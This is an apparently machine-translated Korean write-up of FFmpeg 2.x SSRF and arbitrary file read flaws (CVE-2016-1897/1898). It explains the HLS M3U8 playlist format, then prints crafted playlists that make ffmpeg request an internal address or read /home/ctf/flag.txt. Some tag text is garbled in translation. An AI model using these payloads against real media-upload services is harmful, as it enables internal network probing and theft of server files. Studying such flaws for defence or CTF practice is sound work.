제목 : FFMPEG 임의 파일 읽기 취약점/SSRF 취약성

FFMPEG2.X의

ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)​

HTTP 라이브 스트리밍 스트리밍 M3U8 파일의 부적절한 처리로 인해 임의의 파일 판독 취약점이있는 SSRF 취약점으로 이어질 수 있습니다. 이 취약점은 웹 사이트를 통해 사용자가 멀티미디어 파일을 업로드하고 FFMPEG를 사용하여 처리 할 수있는 경우 트리거됩니다.
이 취약점에는 CVE-2016-1897과 CVE-2016-1898의 두 CVE 번호가 있습니다. 그들 사이의 차이점은 파일을 읽을 줄 수입니다. CVE-2016-1897은 파일의 첫 번째 줄만 읽을 수 있지만 CVE-2016-1898은 파일의 모든 줄을 읽을 수 있습니다. 원리는 기본적으로 동일하므로 여기에서 함께 분석 해 봅시다.

HLS(HTTP Live Streaming)​

HLS 스트리밍 파일을 구문 분석 할 때 취약점이 발생하기 때문에 먼저 HLS를 이해해야합니다.
HLS (HTTP 라이브 스트리밍)는 Apple이 개발 한 HTTP 프로토콜을 기반으로하는 스트리밍 커뮤니케이션 프로토콜입니다. 대부분은 PC와 iPhone에서 사용됩니다. 기본 원칙은 비디오 스트림을 많은 작고 작고 작은 TS 스트림 파일로 나눈 다음 http를 통해 다운로드하여 한 번에 조금씩 다운로드하는 것입니다. 새 스트리밍 세션을 시작할 때 클라이언트는 먼저이 HLS 세션의 모든 데이터가 포함 된 M3U8 (재생 목록 재생 목록) 파일을 다운로드합니다.
http://pl.youku.com/playlist/m3u8?vid=340270152type=3gphdts=1462714824 Keyprame=0EP=DSASGE6MUSSC5YB eiz8byixiiizdxp0o9h2cgdnatqns%2bm2sid=746271452251312590fabtoken=3319ctype=12ev=1oip=3395898128
이것은 Youku 비디오의 M3U8 파일이며 내용은 다음과 같습니다.
#extM3U
#ext-x-targetDuration:6
#ext-X-Version:2
#extinf:6,
http://183.60.145.83/69777D60D183E7FE8D0BC25A4/0300010056208D059E4E15049976CD642E 01-c8e5-706f-dc6d-375de0da5a1e.flv.ts? ts_start=0ts_end=5.9ts_seg_no=0ts_keyframe=1
#extinf:0,
http://183.60.145.83/69777D60D183E7FE8D0BC25A4/0300010056208D059E4E15049976CD642E01 -c8e5-706f-dc6d-375de0da5a1e.flv.ts? ts_start=5.9ts_end=6.367ts_seg_no=1ts_keyframe=1
#Ext-X-Endlist
분석:
#extm3u 태그는 m3u8의 파일 헤더 이며이 줄은 처음에 사용해야합니다.
#ext-x-targetDuration은 전체 매체의 길이를 나타냅니다. 여기 6 초입니다
#ext-X-Version:2이 태그는 선택 사항입니다
#extinf:6 은이 ts 스트림 파일의 길이를 나타냅니다
#ext-x-endlist 파일 끝에 해당합니다.
이것들은 M3U8의 가장 기본적인 태그이며, FFMPEG가 TS 스트림 파일을 요청할 때 M3U8 파일을 위조 할 수 있기 때문에 FFMPEG는 내부의 스트림 주소를 판단하지 않고 직접 요청하지 않습니다.

漏洞原理​

SSRF 취약점 :
FFMPEG를 직접 사용하여 멀티미디어 파일을 구문 분석하십시오
#extM3U
#ext-x-media-sequence:0
#ExtInf:10.0,http://192.168.123.100:8080/1.html
#Ext-X-Endlist
( #ext-x-media-sequence 또는 #ext-x-targetDuration에는 아무도 존재하지 않아야합니다. 전자는 TS 스트림 파일의 일련 번호입니다. 제거하면 오류를보고합니다 : 유효하지 않은 파일).
20190611164804.png-water_print

ffmpeg -i test.m3u8 test.mp4 (m3u8 형식을 다른 접미사로 변경할 수 있습니다. FFMPEG는 자동으로 HLS 스트림 파일로 인식됩니다)
20190611164804.png-water_print

다음 방법은 파일 :을 읽을 수 있습니다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#extM3U
#ext-x-targetDuration:1
#extinf:1,
/home/ctf/flag.txt
#Ext-X-Endlist
#extM3U
#ext-x-playlist-type:vod
#ext-x-targetDuration:1
#ext-X-Version:3
#ext-x-media-sequence:0
#extinf336010.0,
File: ///home/ctf/flag.txt
#Ext-X-Endlist
 
뒤로
상단